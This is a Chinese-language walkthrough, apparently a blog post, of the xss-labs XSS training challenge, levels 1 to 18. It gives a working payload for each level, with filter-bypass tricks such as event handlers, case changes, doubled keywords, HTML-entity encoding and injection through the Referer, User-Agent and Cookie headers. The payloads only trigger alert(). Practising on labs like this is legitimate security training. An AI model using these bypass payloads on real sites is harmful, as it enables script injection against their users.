xss-labs通关教程

xss-labs通关教程

第一关

查看网页源码

在这里插入图片描述
没有任何限制在这里插入图片描述

payload

http://xss/level1.php?name=<script>alert(111)</script>

第二关

查看源码

在这里插入图片描述

发现test被双引号和<>包围着,因此需要让它们闭合。

在这里插入图片描述

payload

http://xss/level2.php?keyword="><script>alert(111)</script><"

第三关

分析思路

输入<script>alter(111)</script>,查看网页源码

在这里插入图片描述

可以发现特殊字符被实体转义了,因此我们需要绕过实体转义。在此使用
’ οnfοcus=javascript:alert() '。
在这里插入图片描述

pyload

http://xss/level3.php?keyword=' onfocus=javascript:alert() '

http://xss/level3.php?keyword='onmouseup=alert(123)//

输入’ οnfοcus=javascript:alert() '后再次点击输入框即可。

第四关

分析思路

输入<script>alter(111)</script>,查看网页源码

在这里插入图片描述

发现跟第三关一样进行了实体转义,唯一不同的就是第三关需要对单引号进行闭合,而第四关需要对双引号进行闭合。

在这里插入图片描述

payload

http://xss/level4.php?keyword=" onfocus=javascript:alert() "

http://xss/level5.php?keyword="onmouseup=alert(123)//

第五关

分析思路

输入<script>alter(111)</script>,查看网页源码

在这里插入图片描述

发现第一个script被替换成了scr_ipt,所以换没有script的方式写入。

在这里插入图片描述

payload

"> <a href=javascript:alert()>123</a> <"

第六关

分析思路

输入<script>alter(111)</script>,查看网页源码

在这里插入图片描述

发现网页对输入做了实体转义,并且闭合符号为双引号。

在这里插入图片描述

尝试用第四关pyload,发现输入的语句on被替换成o_n,于是尝试大小写绕过。

在这里插入图片描述

发现输入的语句区分大小写,因此将第五关payload关键字href转换成大写进行尝试。

在这里插入图片描述

payload

"> <a HREF=javascript:alert()>123</a> <"

第七关

分析思路

输入第六关payload查看网页源码

在这里插入图片描述

发现网页对特殊字符进行了实体转义,过滤了href、script等关键字,闭合符号为双引号,并且不区分大小写。
对此尝试进行双写绕过。

在这里插入图片描述

payload

"> <a HRhrefEF=javascscriptript:alert()>123</a> <"

第八关

输入第七关payload

在这里插入图片描述

发现对输入的herf、script等关键字中间添加了下划线,并且对双引号进行了实体转义,说明网页可以对实体转义内容自动解析。

于是尝试将payload也实体转义。

在这里插入图片描述

payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

第九关

分析思路

输入第八关paylaod查看网页源码

在这里插入图片描述

发现网页内容跟第八关类似,区别就是在herf里的内容,这里给了提示(链接不合法),于是尝试输入一个合法的链接观察变化。输入http://www.baidu.com发现点击后可以正常跳转,于是推测区别就在于http://,于是更改payload进行尝试。
在这里插入图片描述

payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://www.baidu.com

第十关

分析思路

输入第九关paylaod查看网页源码

在这里插入图片描述

在url上输入的数据没有了,并且源码里没有keyword这个参数,说明我们需要换成别的参数t_link、t_history、t_sort三个参数任选一个,由于被隐藏了所以需要添加type=“text”,用利用双引号闭合实现payload。

在这里插入图片描述

payload

?t_sort=" onfocus=javascript:alert() type="text

第十一关

分析思路

输入第十关payload查看源码

在这里插入图片描述

发现输入的参数被实体转义了,并且相对于第十关多了个t_ref参数,对此尝试在url对t_ref进行传参,发现t_ref的内容没有变化,有可能传参的地方并不在url。于是用burp抓取请求包进行转发,添加Referer字段,并将其参数设置为第十关payload。

在这里插入图片描述

在这里插入图片描述

payload

Referer: " onfocus=javascript:alert() type="text

第十二关

分析思路

查看网页源码

在这里插入图片描述

观察网页源码,发现多出了个t_ua字段,推测可能在user-agent上进行写入。于是用burp修改请求内容,在User-Agent上修改内容将浏览器信息替换成第十关payload。

在这里插入图片描述

在这里插入图片描述

payload

User-Agent: " onfocus=javascript:alert() type="text

第十三关

分析思路

查看网页源码

在这里插入图片描述

观察网页源码,发现多出了个t_cook字段,推测可能在cookie上进行写入。于是用burp修改请求内容,在cookie修改内容将浏览器信息替换成第十关payload。

在这里插入图片描述

在这里插入图片描述

payload

Cookie: user=" onfocus=javascript:alert() type="text

第十四关

由于链接中的网页失效了,这里就跳过

第十五关

分析思路

查看网页源代码

在这里插入图片描述

发现有个ng-include指令,具体指令内容请参考https://blog.youkuaiyun.com/u011127019/article/details/53666528

在这里插入图片描述

payload

?src=%27level1.php?name=test<img%20src=1%20onerror=alert(1)>%27

第十六关

分析思路

输入<script>alert()</script>查看网页源码

在这里插入图片描述

发现script,/,空格都被替换成了&nbsp,因此用不带script和/的payload,并且使用%0d %0a做分割符

在这里插入图片描述

payload

?keyword=<img%0asrc=1%0aonerror=alert(1)>

十七关

分析思路

在url后输入 aaaaaaaaaa观察网页源码

在这里插入图片描述

通关分析源码发现传递的参数值是写在<embed>标签中的,考虑使用<embed>标签支持的事件属性进行注入,用on事件触发。

在这里插入图片描述

payload

?arg01=a&arg02=b%20onmouseout=alert(1)

十八关

跟第十七关一样

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值